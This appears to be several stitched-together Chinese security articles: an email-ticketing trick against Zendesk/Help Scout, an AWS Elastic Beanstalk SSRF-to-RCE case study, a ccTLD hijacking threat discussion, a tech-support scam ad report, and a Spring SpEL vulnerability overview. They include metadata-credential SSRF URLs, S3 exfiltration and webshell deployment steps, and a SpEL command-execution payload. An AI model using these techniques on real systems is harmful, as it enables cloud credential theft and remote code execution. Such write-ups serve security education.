在官方解释页面中，我注意到一句话：“如果想允许新用户在ticket中公开评论，那么ticket相关的agent、requester（请求者）以及CC（抄送方）需要将新用户添加为CC角色”。因此当前发送者同样需要作为抄送方，所以我将小伙伴的邮件地址添加为ticket的CC地址。完成该操作后，我让小伙伴再次发送同一主题的邮件。与预期的一样，这封邮件顺利通过并被服务端当成公开消息：
图. Zendesk Agent页面信息
图. 客户端邮件页面
以上就是Zendesk整体情况，在深入分析利用方式之前，让我们再来看一下另一个支持系统。
## 三、Help Scout概览
在寻找Zendesk的替代解决方案时，我找到了另一款支持平台：Help
Scout。这个系统的工作方式与Zendesk类似，但减少了一些功能。为了分析该系统，我决定注册并使用试用版来了解相关功能。
为了更好理解Help Scout的工作流程，我决定采用与Zendesk相同的分析步骤。这里有一点不同，Help
Scout并没有太多官方文档介绍系统工作流程，因此我决定自己研究。与前面一样，首先我向测试环境发送了一封邮件，因为我在Help
Scout上启用了自动回复功能，因此会收到一封自动回复邮件。
收到回复邮件后，我决定检查一下该系统是否也采用与Zendesk类似的模式。查看邮件源代码后，我很快就发现其中包含一个特殊的哈希：
找到该哈希后，我决定检查是否可以借助该信息将我的电子邮件内容添加到ticket中。为了测试这一点，我使用第二个账户向支持邮箱发送了一封邮件，在邮件正文中我添加了这个哈希值。
邮件发送完毕后，我发现Help
Scout与Zendesk类似，也会将我的邮件附加到ticket中。然而，这里还有一个小问题。当在agent端操作时，我发现第二封邮件现在已经变成原始的发送者。这意味着来自agent的后续信息都会发送给第二封邮件，而不会发送给原始发件人（攻击者）。
因此我觉得很难利用这个过程，因为我们使用的攻击者邮箱无法再收到服务端返回的任何响应。然而当再次检查时，我才发现为什么第二个邮件地址会变成“原始发送者”，这是因为该地址是最近一封邮件的发送方。
因此，我们需要做的就是使用攻击者邮箱再往这个ticket发一封新的邮件，邮件正文中包含正确的哈希值。这样操作后，我们的攻击者邮箱就会再次变成“原始发送方”，可以接收后续邮件。
现在我们已经大概了解这两个系统，接下来讲一下具体的利用方式。 | 社区文章 |
在本博客中，我们的“ 高级Web黑客 ”培训课程的首席培训师Sunil
Yadav将讨论一个案例研究，其中识别并利用服务器端请求伪造（SSRF）漏洞来访问敏感数据，例如源代码。此外，该博客讨论了可能导致部署在具有持续部署（CD）管道的AWS
Elastic Beanstalk上的应用程序的远程执行代码（RCE）的潜在领域。
# **AWS Elastic Beanstalk**
AWS Elastic
Beanstalk是AWS提供的平台即服务（PaaS）产品，用于部署和扩展针对各种环境（如Java，.NET，PHP，Node.js，Python，Ruby和Go）开发的Web应用程序。它自动处理部署，容量配置，负载平衡，自动扩展和应用程序运行状况监视。
# **提供环境**
AWS Elastic Beanstalk支持Web Server和Worker环境配置。
Web服务器环境 - 通常适合运行Web应用程序或Web API。
工作环境 - 适合后台工作，长时间运行的流程。
可以通过在zip或war文件中提供有关应用程序，环境和上载应用程序代码的一些信息来配置新应用程序。
图1：创建Elastic Beanstalk环境
配置新环境后，AWS会创建S3 Storage bucket，安全组，EC2实例。它还会创建一个名为aws-elasticbeanstalk-ec2-role的默认实例配置文件，该配置文件使用默认权限映射到EC2实例。
从用户计算机部署代码时，zip文件中的源代码副本将放在名为elasticbeanstalk - region-account-id的S3 Storage
bucket中。
图2：Amazon S3 Storage bucket
Elastic Beanstalk不会为其创建的Amazon S3 Storage
bucket启用默认加密。这意味着默认情况下，对象以未加密的形式存储在Storage bucket中（并且只能由授权用户访问）。
阅读更多：https：//docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo.S3.html
默认实例配置文件的托管策略 - aws-elasticbeanstalk-ec2-role：
AWSElasticBeanstalkWebTier - 授予应用程序将日志上载到Amazon S3并将信息调试到AWS X-Ray的权限。
AWSElasticBeanstalkWorkerTier - 授予日志上载，调试，度量标准发布和工作器实例任务的权限，包括队列管理，领导者选举和定期任务。
AWSElasticBeanstalkMulticontainerDocker - 授予Amazon Elastic Container
Service协调群集任务的权限。
策略“ AWSElasticBeanstalkWebTier ”允许对S3 Storage bucket进行有限的列表，读取和写入权限。仅当Storage
bucket名称以“ elasticbeanstalk- ” 开头时才能访问Storage bucket，并且还授予了递归访问权限。
图3：托管策略 - “AWSElasticBeanstalkWebTier”
阅读更多：https：//docs.aws.amazon.com/elasticbeanstalk/latest/dg/concepts.html
# 分析
虽然我们继续使用常规测试，但我们在应用程序中遇到了服务器端请求伪造（SSRF）漏洞。通过对外部域进行DNS调用来确认此漏洞，并通过访问配置为仅允许localhost访问它的“http：//
localhost / server-status”进一步验证此漏洞，如下面的图4所示。
<http://staging.xxxx-redacted-xxxx.com/view_pospdocument.php?doc=http://localhost/server-status>
图4：通过访问受限页面确认SSRF
旦SSRF得到确认，我们便会使用<https://ipinfo.io>
等服务通过服务器指纹识别确认服务提供商是亚马逊。此后，我们尝试通过多个端点查询AWS元数据，例如：
* <http://169.254.169.254/latest/dynamic/instance-identity/document>
* <http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanstalk-ec2-role>
我们从API“<http://169.254.169.254/latest/dynamic/instance-identity/document”>
中检索了帐户ID和Region：
图5：AWS元数据 - 检索帐户ID和Region
然后，我们从API“<http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role”> 中检索了访问密钥，秘密访问密钥和令牌：
图6：AWS元数据 - 检索访问密钥ID，秘密访问密钥和令牌
注意：“ aws-elasticbeanstalk-ec2-role” 的 IAM安全凭证表示应用程序部署在Elastic Beanstalk上。
我们进一步配置了AWS命令行界面（CLI），如图7所示：
图7：配置AWS命令行界面
“aws sts get-caller-identity”命令的输出表明令牌工作正常，如图8所示：
图8：AWS CLI输出：get-caller-identity
所以，到目前为止，这么好。相当标准的SSRF漏洞，对吗？这是有趣的地方......
让我们探索更多的可能性
最初，我们尝试使用AWS CLI运行多个命令以从AWS实例检索信息。但是，由于安全策略的存在，对大多数命令的访问被拒绝，如下面的图9所示：
图9：ListBuckets操作上的访问被拒绝
我们还知道托管策略“AWSElasticBeanstalkWebTier”只允许访问名称以“elasticbeanstalk”开头的S3 buckets ：
因此，为了访问S3 bucket ，我们需要知道bucket 名称。Elastic Beanstalk创建名为elasticbeanstalk
-region-account-id 的Amazon S3 bucket 。
我们使用之前检索到的信息找到了bucket 名称，如图4所示。
地区：us-east-2
帐号：69XXXXXXXX79
现在，存储桶名称为“ elasticbeanstalk- us-east-2-69XXXXXXXX79 ”。
我们使用AWS CLI以递归方式列出了bucket “elasticbeanstalk -us-east-2-69XXXXXXXX79 ”的bucket
resources ：
aws s3 ls s3：// elasticbeanstalk-us-east-2-69XXXXXXXX79 /
图10：列出Elastic Beanstalk的S3 Bucket
我们通过递归下载S3资源来访问源代码，如图11所示。
aws s3 cp s3：// elasticbeanstalk-us-east-2-69XXXXXXXX79 / / home / foobar /
awsdata -recursive
图11：递归复制所有S3 Bucket Data
# **从SSRF转向RCE**
现在我们有权将对象添加到S3 bucket，我们通过S3 bucket中的AWS
CLI上传了一个PHP文件（在zip文件中的webshell101.php），以探索远程代码执行的可能性，但它不起作用因为更新的源代码未部署在EC2实例上，如图12和图13所示：
图12：在S3 bucket中通过AWS CLI上传webshell
图13：当前环境中Web Shell的404错误页面
我们把这个带到了我们的实验室，探讨了一些可能导致我们成为RCE的潜在开发场景。潜在的情景是：
* 使用CI / CD AWS CodePipeline
* 重建现有环境
* 从现有环境克隆
* 使用S3 bucket URL创建新环境
使用CI / CD AWS CodePipeline：AWS CodePipeline是一种CI /
CD服务，可在每次代码更改（基于策略）时构建，测试和部署代码。Pipeline支持GitHub，Amazon S3和AWS
CodeCommit作为源提供程序和多个部署提供程序（包括Elastic Beanstalk）。有关其工作原理的AWS官方博客可在此处找到：
<https://aws.amazon.com/cn/getting-started/tutorials/continuous-deployment-pipeline/>
在我们的应用程序中，软件版本使用AWS Pipeline，S3存储桶作为源存储库，Elastic Beanstalk作为部署提供程序自动执行。
让我们首先创建一个管道，如图14 所示：
图14：管道设置
选择S3 bucket作为源提供程序，S3 bucket name并输入对象键，如图15所示：
图15：添加源阶段
配置构建提供程序或跳过构建阶段，如图16所示：
图16：跳过构建阶段
将部署提供程序添加为Amazon Elastic Beanstalk并选择使用Elastic Beanstalk创建的应用程序，如图17所示：
图17：添加部署提供程序
创建一个新管道，如下面的图18所示：
图18：成功创建新管道
现在，是时候在S3 bucket 中上传一个新文件（webshell）来执行系统级命令，如图19所示：
图19：PHP webshell
在源提供程序中配置的对象中添加该文件，如图20所示：
图20：在对象中添加webshell
使用AWS CLI命令将存档文件上载到S3 bucket，如图21所示：
图21：S3中的Cope webshell
aws s3 cp 2019028gtB-InsuranceBroking-stag-v2.0024.zip s3：// elasticbeanstalk-us-east-1-696XXXXXXXXX /
更新新文件的那一刻，CodePipeline立即启动构建过程，如果一切正常，它将在Elastic Beanstalk环境中部署代码，如图22所示：
图22：管道触发
管道完成后，我们就可以访问Web shell并对系统执行任意命令，如图23所示。
图23：运行系统级命令
在这里我们获得了成功的RCE！
重建现有环境： 重建环境会终止其所有资源，删除它们并创建新资源。因此，在这种情况下，它将从S3
bucket部署最新的可用源代码。最新的源代码包含部署的Web shell，如图24所示。
图24：重建现有环境
成功完成重建过程后，我们可以访问我们的webshell并在EC2实例上运行系统级命令，如图25所示：
图25：从webshell101.php运行系统级命令
从现有环境克隆：如果应用程序所有者克隆环境，它将再次从S3 bucket中获取代码，该存储桶将使用Web shell部署应用程序。克隆环境流程如图26所示：
图26：从现有环境克隆
创建新环境： 在创建新环境时，AWS提供了两个部署代码的选项，一个用于直接上载存档文件，另一个用于从S3
bucket中选择现有存档文件。通过选择S3存储桶选项并提供S3 bucket URL，将使用最新的源代码进行部署。最新的源代码包含部署的Web
shell。
参考文献：
<https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/concepts.html>
<https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/iam-instanceprofile.html>
<https://docs.aws.amazon.com/elasticbeanstalk/latest/dg/AWSHowTo.S3.html>
<https://docs.aws.amazon.com/cli/latest/userguide/cli-chap-welcome.html>
<https://gist.github.com/BuffaloWill/fa96693af67e3a3dd3fb>
<https://ipinfo.io>
`原文地址：https://www.notsosecure.com/exploiting-ssrf-in-aws-elastic-beanstalk/` | 社区文章 |
# 【技术分享】劫持一个国家的顶级域名之旅-域名后缀的隐藏威胁（下）
|
##### 译文声明
本文是翻译文章，文章来源：thehackerblog.com
原文地址：<https://thehackerblog.com/the-journey-to-hijacking-a-countrys-tld-the-hidden-risks-of-domain-extensions/index.html>
译文仅供参考，具体内容表达以及含义原文为准。
****
****
翻译：[WisFree](http://bobao.360.cn/member/contribute?uid=2606963099)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
****
**传送门**
[**【技术分享】劫持一个国家的顶级域名之旅：域名后缀的隐藏威胁（上）**
****](http://bobao.360.cn/learning/detail/3946.html)
[**【技术分享】劫持一个国家的顶级域名之旅：域名后缀的隐藏威胁（中）**
****](http://bobao.360.cn/learning/detail/3975.html)
**通用认证 &国际域名**
当然了，这些漏洞不仅仅只会影响安哥拉和纳米比亚等国家的域名后缀，受影响的国家还有很多很多。比如说，很多热门的网络服务为了给全球各地的用户提供更好的本地体验，它们的主页会使用很多国家的域名后缀。其中的大多数网站会将其所有的主页绑定在一个通用认证流中，并将登录服务的用户自动重定向到使用本地区域名后缀的主页。
其中的一个例子就是谷歌的搜索主页，这个主页就使用了多个域名后缀（有关谷歌域名后缀的信息请参考【[这里](https://en.wikipedia.org/wiki/List_of_Google_domains)】）。比如说其中的[google.co.ao](https://www.google.co.ao/)：
另外一个例子是[google.com.na](https://www.google.com.na/)：
为了享受更加无缝的网络体验，你可以直接点击页面右上角的蓝色按钮（Sign in-登录）在任何一个后缀的谷歌主页登录你的账号。点击这个按钮约等于访问下面这条链接：
https://accounts.google.com/ServiceLogin?hl=pt-PT&passive=true&continue=https://www.google.co.ao/%3Fgws_rd%3Dssl
如果直接访问这个链接的话，后台服务器会将你重定向至下面这个链接：
https://accounts.google.co.ao/accounts/SetSID?ssdc=1&sidt=[SESSION_TOKEN]&continue=https://www.google.co.ao/?gws_rd=ssl&pli=1
链接会通过sidt参数传递一个会话令牌，它会将你登录到google.co.ao域名并允许进行跨域认证。
但这些东西对于我们的漏洞利用有何帮助呢？如果你成功入侵了任意一个谷歌主页域名后缀，那么你就可以利用这个漏洞来劫持任何一个谷歌账号。但这毕竟是一种非常奇特的威胁模型，因为在攻击一个谷歌账号之前你必须要入侵两百个谷歌域名后缀NS中的其中一个才行。而且攻击的难度也不低，毕竟谷歌拥有一个非常强大的安全团队，而这些技术人员会不断审查他们的基础设施状态。
为了成功利用这种类型的DNS劫持漏洞，你需要按照以下步骤进行操作（所有操作必须悄悄进行，以免被抓个现行）：
1.入侵一个域名后缀的域名解析服务器（或记录），然后修改目标网站的域名解析服务器。
2.开始返回你针对目标域名所设置的新域名解析服务器，并设置时间较长的TTL（[BIND的解析器默认支持至少一周的时间](https://ftp.isc.org/isc/bind9/cur/9.10/doc/arm/Bv9ARM.ch06.html)）。这一点非常重要，因为这样我们就可以尽可能地得到更多的缓存，我们还需要为google.co.ao/google.com.na子域名的A记录设置较短的TTL，这样我们就可以在它们之间进行快速切换了。
3.接下来，我们要拿到一份针对google.co.ao/google.com.na域名的有效SSL证书。这是其中最棘手的一个步骤了，因为[证书透明](https://en.wikipedia.org/wiki/Certificate_Transparency)（Certificate
Transparency）很可能会[暴露我们的恶意行为](https://arstechnica.com/security/2017/03/google-takes-symantec-to-the-woodshed-for-mis-issuing-30000-https-certs/)。有关SSL证书的内容请参考【[这篇文章](https://knowledge.symantec.com/support/ssl-certificates-support/index?page=content&actp=CROSSLINK&id=INFO3663)】。
4.现在我们设置了多台服务器来托管恶意的google.co.ao/google.comna网站并启用了SSL，然后将所有的A记录响应更改为指向我们的恶意服务器。接下来，我们就可以开始让尽可能多的谷歌用户去访问上面给出的链接，访问之后我们就能够获取到他们的认证令牌了。这种攻击方法的一个优势就是目标用户甚至不用去手动访问那个URL地址，因为我们可以通过类似<img>这样的标签来发送GET请求，并利用这些请求来完成302重定向操作。
**影响范围非常大**
另一个需要考虑的方面是，受这个DNS劫持漏洞影响的并非只有*.co.ao、*.it.ao和*.na域名，实际上任何一个依赖于这些域名后缀的站点都将会受到该漏洞的影响。比如说，其他同样使用了*.co.ao/*.it.ao/*.na域名服务器的主机将有可能受到代理攻击，而且WHOIS联系方式中如果暴露了域名后缀的相关信息，那么这些网站同样是非常危险的，因为攻击者可以利用WHOIS信息来获取SSL证书。
**总结与思考**
我希望可以通过这篇文章让大家意识到顶级域名或域名后缀的安全性其实是非常不可靠的。请大家一定要记住，虽然现在有很多针对DNS的欺骗技术，但是最简单的攻击方法就是利用域名后缀NS中某项服务的漏洞来实施攻击。在我看来，我认为互联网服务商和广大社区应该采取下列措施来提升DNS的安全性：
1.对于修改顶级域名中重要参数的行为，需要对操作者的身份进行电话验证，最低的要求是对WHOIS联系信息中的电子邮件地址进行确认。
2.对顶级域名的域名解析服务器设置更加严格的安全要求，限制暴露在网络中的接口，尽可能地只开启UDP/TCP端口53。
3.对顶级域名的DNS进行定期的自动化安全审计，一旦自动化检测系统发现了DNS错误，则立刻通知DNS管理员。
4.向域名拥有者告知购买多种域名后缀／顶级域名的安全风险，并保存过去曾发生的安全事件记录。这样一来，当用户准备购买某个域名时，我们就可以确保他们能够作出明智的决定了。除此之外，我们还应该重视例如响应时间和解析时间等安全因素，因为它们对于域名的安全性也同样重要。
5.提高对DNSSEC（DNS安全扩展）的认知，并让DNS解析器支持使用DNS安全扩展。如果我们采用了DNSSEC，并且域名和解析器都采用了的话，它将可以帮助我们更好地抵御这些DNS劫持攻击。根据我的个人经验来看，我平时根本没有见过DNSSEC失效的情况，因为几乎没有一个网络采用过这项安全防护技术。在这里我并不想强迫大家去部署DNSSEC，但我想告诉大家的是DNSSEC绝对可以为你的基础设施带来一层额外的安全保护，并帮助你更好地抵御DNS劫持攻击。
注：DNSSEC，即Domain Name System Security
Extensions，中文意思为DNS安全扩展。DNSSEC是由IETF提供的一系列DNS安全认证机制（具体请参考RFC2535），它提供了一种请求来源鉴定和数据完整性验证的功能扩展，而正是由于DNS基础设施中存在这样那样的劫持漏洞，所以我们才需要引入这种被称为DNS安全扩展的技术以保护互联网中这一部分重要的通信基础设施。
虽然一些涉及到ccTLDs（即国家和地区顶级域名，目前200多个国家都按照ISO3166国家代码分配了顶级域名，例如中国是cn，日本是jp等）的情况会非常棘手，但我相信本系列文章所给出的安全观点和操作建议可以帮助你提升网站以及DNS基础设施的安全性，而与此同时我也非常明白，确保这些安全方案得到真正的实施其实也是一件非常困难的事情，因为永远都是说起来容易做起来难。
无论怎样，DNS目前的安全情况都不容乐观，而且考虑到DNS基础设施面临着非常大的攻击面，我认为今后顶级域名或域名后缀被攻击的事件将会发生得愈加频繁。
**传送门**
* * *
[**【技术分享】劫持一个国家的顶级域名之旅：域名后缀的隐藏威胁（上）**
****](http://bobao.360.cn/learning/detail/3946.html)
[**【技术分享】劫持一个国家的顶级域名之旅：域名后缀的隐藏威胁（中）**
****](http://bobao.360.cn/learning/detail/3975.html) | 社区文章 |
**作者：[威胁情报团队](https://www.malwarebytes.com/blog/authors/threatintelligence)
译者：知道创宇404实验室翻译组
原文链接：<https://www.malwarebytes.com/blog/threat-intelligence/2022/09/microsoft-edges-news-feed-pushes-tech-support-scam>**
虽然谷歌Chrome仍然是顶级浏览器，但越来越多的用户开始使用基于Chrome源代码的Microsoft Edge。也许更重要的是，它是Microsoft
Windows平台上的默认浏览器，因此，欺诈者对其用户群的某些部分特别感兴趣。
我们在Microsoft
Edge新闻源上跟踪并观察到恶意广告活动，用于将受害者重定向到技术支持诈骗页面。该方案很简单，依靠黑客在Edge主页上插入他们的广告，并试图用令人震惊或离奇的故事来吸引用户。
在这篇博文中，我们提高了人们的意识，并揭露了这个已经持续了至少两个月的骗局行动。
## 概述
Microsoft Edge新闻源是在新闻内容、流量更新和广告之间交替出现的缩略图集合。我们发现了几个恶意广告，并将不知情的用户重定向到技术支持诈骗。
重定向流程总结如下图:
## 技术细节
当用户点击其中一个恶意广告时，会通过API(api.taboola.com)向Taboola广告网络发出请求，以接受对广告横幅的点击。服务器将响应下一个要加载的URL，格式如下：
document.location.replace('https:\/\/[scammer domain]\/{..}\/?utm_source=taboola&utm_medium=referral
对其中一个恶意域的第一个请求会检索Base64编码的JavaScript，其目标是检查当前访问者并确定他们是否是潜在目标。
该脚本的原始版本可以在[这里](https://github.com/MBThreatIntel/TSS/blob/master/Taboola/taboola_campaign_raw.txt)找到，而美化版本可以在[这里](https://github.com/MBThreatIntel/TSS/blob/master/Taboola/taboola_campaign_decoded.txt)找到。
此脚本的目标是仅显示对潜在受害者的恶意重定向，忽略不感兴趣的机器人、VPN和地理位置，显示与广告相关的无害页面。
该计划旨在利用伪造的浏览器锁定页面欺骗无辜用户，这些是技术支持诈骗者非常熟悉的。值得注意的是，这里利用了云基础设施，使其很难被阻止。
这些是ondigitalocean.app上不断变化的子域；在24小时内，我们收集了200多个不同的主机名。
## 基础设施
Edge News Feed 上显示的广告与以下域链接（此列表并不详尽）：
1.feedsonbudget[.]com
2.financialtrending[.]com
3.foddylearn[.]com
4.glamorousfeeds[.]com
5.globalnews[.]cloud
6.hardwarecloseout[.]com
7.humaantouch[.]com
8.mainlytrendy[.]com
9.manbrandsonline[.]com
10.polussuo[.]com
11.newsagent[.]quest
12.newsforward[.]quest
13.puppyandcats[.]online
14.thespeedoflite[.]com
15. **tissatweb[.]us**
16.trendingonfeed[.]com
17.viralonspot[.]com
18.weeklylive[.]info
19.everyavenuetravel[.]site
其中一个域tissatweb[.]us也被公开[报道](https://scammer.info/t/tech-scam-833-954-1953/99506)为托管浏览器储物柜，它包含了有趣的whois数据：
Registrant Email: sumitkalra1683@gmail[.]com
该电子邮件地址与以下附加域相关联：
1.tissat[.]us
2.mvpconsultant[.]us
3.aksconsulting[.]us
4.furnitureshopone[.]us
5.minielectronic[.]in
6.antivirusphonenumber[.]org
7.quickbooktechnicalsupport[.]org
8.printertechnicahelp[.]com
9.comsecurityessentials[.]support
10.decfurnish[.]com
11.netsecurity-essential[.]com
12.mamsolutions[.]us
13.mamsolution[.]us
14.a-techsolutions[.]us
该电子邮件地址属于名为 **Sumit Kalra** 的个人 ，他被列为 **Mws软件服务私人有限公司**
的董事，该公司位于德里，其主要业务活动是“计算机和相关活动”。
## 保护
就遥测噪声而言，这一特殊活动是目前我们看到的最大的活动之一。
避免检测的指纹识别很有趣，而且比平时更复杂。我们将继续揭露和报告用于诈骗的滥用基础设施。
由于我们的[Browser
Guard扩展](https://www.malwarebytes.com/browserguard)，Malwarebytes用户已经受到保护，免受这种技术支持骗局的侵害。
* * * | 社区文章 |
**作者： 深信服千里目安全实验室
原文链接：<https://mp.weixin.qq.com/s/gfCtSJoefYLjJpaksbKLrQ>**
## 一、Spring全家桶简介
Spring发展到现在，全家桶所包含的内容非常庞大，这里主要介绍其中关键的5个部分，分别是spring framework、 springboot、
spring cloud、spring security、spring mvc。 其中的spring framework就是大家常常提到的spring，
这是所有spring内容最基本的底层架构，其包含spring mvc、springboot、spring core、IOC和AOP等等。Spring
mvc就是spring中的一个MVC框架，主要用来开发web应用和网络接口，但是其使用之前需要配置大量的xml文件，比较繁琐，所以出现springboot，其内置tomcat并且内置默认的XML配置信息，从而方便了用户的使用。下图就直观表现了他们之间的关系。
而spring security主要是用来做鉴权，保证安全性的。Spring Cloud基于Spring
Boot，简化了分布式系统的开发，集成了服务发现、配置管理、消息总线、负载均衡、断路器、数据监控等各种服务治理能力。
整个spring家族有四个重要的基本概念，分别是IOC、Context、Bean和AOP。
其中IOC指控制反转，在spring中的体现就是将对象属性的创建权限回收，然后统一配置，实现解耦合，便于代码的维护。在实际使用过程中可以通过autowired注解，不是直接指定某个类，将对象的真实类型放置在XML文件中的bean中声明，具体例子如下：
<bean?name="WelcomeService"?class="XXX.XXX.XXX.service.impl.WelcomeServiceImpl"/>
public?class?WelcomeController?{??
????@Autowired??
????private?WelcomeService?service;??
????@RequestMapping("/welcome")??
????public?String?welcome()?{??
????????return?service.retrieveWelcomeMessage();??
????}??
}??
Spring将所有创建或者管理的对象称为bean，并放在context上下文中统一管理。至于AOP就是对各个MVC架构的衔接层做统一处理，增强了代码的鲁棒性。下面这张图就形象描述了上述基本概念。
## 二、各子组件介绍
Spring发展至今，整个体系不断壮大，子分类非常庞大，这里只对本次涉及的一些组件做简单的介绍。
首先是Spring
Websocket，Spring内置简单消息代理。这个代理处理来自客户端的订阅请求，将它们存储在内存中，并将消息广播到具有匹配目标的连接客户端。Spring
Data是一个用于简化数据库访问，并支持云服务的开源框架，其主要目标是使数据库的访问变得方便快捷。Spring Data Commons是Spring
Data下所有子项目共享的基础框架，Spring Data家族中的所有实现都是基于Spring Data Commons。简单点说，Spring Data
REST把我们需要编写的大量REST模版接口做了自动化实现，并符合HAL的规范。Spring Web Flow是Spring
MVC的扩展，它支持开发基于流程的应用程序，可以将流程的定义和实现流程行为的类和视图分离开来。
## 三、使用量及使用分布
根据全网数据统计，使用Spring的网站多达80万余，其中大部分集中在美国，中国的使用量排在第二位。其中香港、北京、上海、广东四省市使用量最高。通过网络空间搜索引擎的数据统计和柱状图表，如下图所示。
## 四、漏洞背景介绍（SpEL使用）
### 0x10 SpEL是什么
SpEL是基于spring的一个表达式语言，类似于struts的OGNL，能够在运行时动态执行一些运算甚至一些指令，类似于Java的反射功能。就使用方法上来看，一共分为三类，分别是直接在注解中使用，在XML文件中使用和直接在代码块中使用。
### 0x20 SpEL能做什么
* 基本表达式
包括逻辑运算，三目运算和正则表达式等等。
* 类操作表达式
对象方法调用，对象属性引用，自定义函数和类实例化等等。
* 集合操作表达式
字典的访问，投影和修改等等。
* 其他表达式
模板表达式
### 0x30 SpEL demo
#### 0x31 基于注解的SpEL
可以结合sping的@Value注解来使用，可以直接初始化Bean的属性值
@RestController
class Sangfor {
@Value(value = "${'aaa'.toUpperCase()}")
private String test;
public String getTest(){return test;}
public void setTest(String value){this.test = value;}
}
在这种情况下可以直接将test的值初始化为 ** _AAA_**. 此外，还有很多其他注解的使用方式，可以结合上面提到的表达式的四种使用模式。
#### 0x32 基于XML的SpEL
可以直接在XML文件中使用SpEL表达式如下：
<?xml version="1.0" encoding="UTF-8"?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans
http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="world" class="java.lang.String">
<constructor-arg value="#{' World!'}"/>
</bean>
<bean id="hello" class="java.lang.String">
<constructor-arg value="#{'Hello'}#{world}"/>
</bean>
</beans>
public class SpEL {
public static void main(String[] args){
ApplicationContext ctx = new ClassPathXmlApplicationContext("test.xml");
String hello = ctx.getBean("hello", String.class);
System.out.println(hello);
}
}
上面的代码将会输出 ** _Hello World!_** , 可以看到递归往下找到world的值，最终成功返回。
#### 0x33 字符串操作
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
public class SpEL {
public static void main(String[] args){
ExpressionParser parser = new SpelExpressionParser();
// Expression exp = parser.parseExpression("'Hello '.concat('World')");
Expression exp = parser.parseExpression("'Hello ' + 'World'");
String message = (String) exp.getValue();
System.out.println(message);
}
}
注：类似的字符串操作比如toUpperCase(), substr()等等
#### 0x34 类相关操作
使用T(class)来表示类的实例，除了java.lang的包，剩下的包需要指明。此外还可以访问类的静态方法和静态字段，甚至实例化类。
public class SpEL {
public static void main(String[] args){
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("T(Runtime).getRuntime().exec('calc.exe')");
Object message = exp.getValue();
System.out.println(message);
}
}
如上述操作，最终就可以执行命令，弹出计算器。这也是后面SpEL RCE漏洞的利用形式。
#### 0x35 集合相关操作
public class SpEL {
public static void main(String[] args){
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("{'sangfor', 'busyer', 'test'}");
List<String> message = (List<String>) exp.getValue();
System.out.println(message.get(1)); //busyer
}
}
通过上面的操作，可以将字符串转化成数组，最终可以输出busyer。
#### 0x36 SpEL原理
**_SpEL原理_**
首先来了解几个概念：
* 表达式
可以认为就是传入的字符串内容
* 解析器
将字符串解析为表达式内容
* 上下文
表达式对象执行的环境
* 根对象和活动上下文对象
根对象是默认的活动上下文对象，活动上下文对象表示了当前表达式操作的对象
具体的流程如下，其实就是编译原理里面的词法分析和句法分析：
（1）首先给定表达式1+2
（2）然后给定SpelExpressionParser解析器，该解析器就实现了上图中的分析
（3）定义上下文对象，这个是可选的，默认是StandardEvaluationContext
（4）使用表达式对象求值，例如getValue
具体代码如下：
ExpressionParser parser = new SpelExpressionParser();
Expression exp = parser.parseExpression("{'sangfor', 'busyer', 'test'}");
//StandardEvaluationContext context = new StandardEvaluationContext();
String message = (String)exp.getValue(context, String.class);
**_root和this_**
SpEL中#root总是指的刚开始的表达式对象，而#this总是指的当前的表达式对象，用他们可以直接操作当前上下文。
**_SimpleEvaluationContext和S_** ** _tandardEvaluationContext_**
SimpleEvaluationContext: 不包含类相关的危险操作，比较安全
StandardEvaluationContext: 包含所有功能，存在风险
## 五、高危漏洞介绍
通过对Spring漏洞的收集和整理，过滤出其中影响较大的远程代码执行高危漏洞，可以得出如下列表：
漏洞名称 | 漏洞ID | 影响版本 | 漏洞披露日期
---|---|---|---
**Spring Websocket 远程代码执行漏洞** | **CVE-2018-1270** | **Spring Framework 5.0 -5.0.5
Spring Framework 4.3 - 4.3.15** | **2018/4/5**
**Spring Data 远程代码执行漏洞** | **CVE-2018-1273** | **Spring Data Commons 1.13 -1.13.10
Spring Data REST 2.6 - 2.6.10
Spring Data Commons 2.0 - 2.0.5
Spring Data REST 3.0 - 3.0.5** | **2018/4/10**
**SpringBoot 远程代码执行漏洞** | **CNVD-2016-04742** | **SpringBoot 1.1.0-1.1.12
SpringBoot 1.2.0-1.2.7
SpringBoot 1.3.0** | **2016/7/15**
**Spring Data REST 远程代码执行漏洞** | **CVE-2017-8046** | **Spring Data REST prior
to 3.0.1 and Spring Boot versions prior to 1.5.9
Spring Data REST prior to 2.6.9 Spring Boot versions prior to 1.5.9** |
**2017/9/21**
**Spring Web Flow 远程代码执行漏洞** | **CVE-2017-4971** | **Spring Web Flow 2.4.0 -2.4.4
Spring Web Flow 2.4.4 - 2.4.8** | **2017/5/31**
**SpringBoot 远程代码执行漏洞** | **CNVD-2019-11630** | **Spring Boot 1-1.4
Spring Boot 2.x** | **2019/4/22**
从上表可以看出，这些漏洞分布在Spring不同的子分类之间，且大多都是较低的版本，用户只要及时升级高版本并及时关注新的漏洞信息。尽管近期没有出现相关漏洞，但是这些高风险漏洞依然不可忽视。这里面出现的漏洞大多不需要复杂的配置就可以直接攻击成功，从而执行任意代码，危害较大。所以，
**开发者在使用Spring进行开发的过程中，一定要关注其历史风险点，尽量规避高危漏洞，减少修改不必要的配置信息。**
## 六、漏洞利用链
上述漏洞基本不依赖其他Spring漏洞即可直接获取权限，下图对其利用方式做了简要概述：
## 七、高可利用漏洞分析
**1\. CVE-2018-1270**
**1.1 威胁等级**
严重
**1.2 影响范围**
Spring Framework 5.0 - 5.0.5
Spring Framework 4.3 - 4.3.15
**1.3 利用难度**
简单
**1.4 漏洞描述**
在上面描述的存在漏洞的Spring Framework版本中，允许应用程序通过spring-messaging模块内存中STOMP代理创建WebSocket。攻击者可以向代理发送消息，从而导致远程执行代码攻击。
**1.5 漏洞分析**
点击connect，首先将触发DefaultSubscriptionRegistry.java中的addSubscriptionInternal方法，
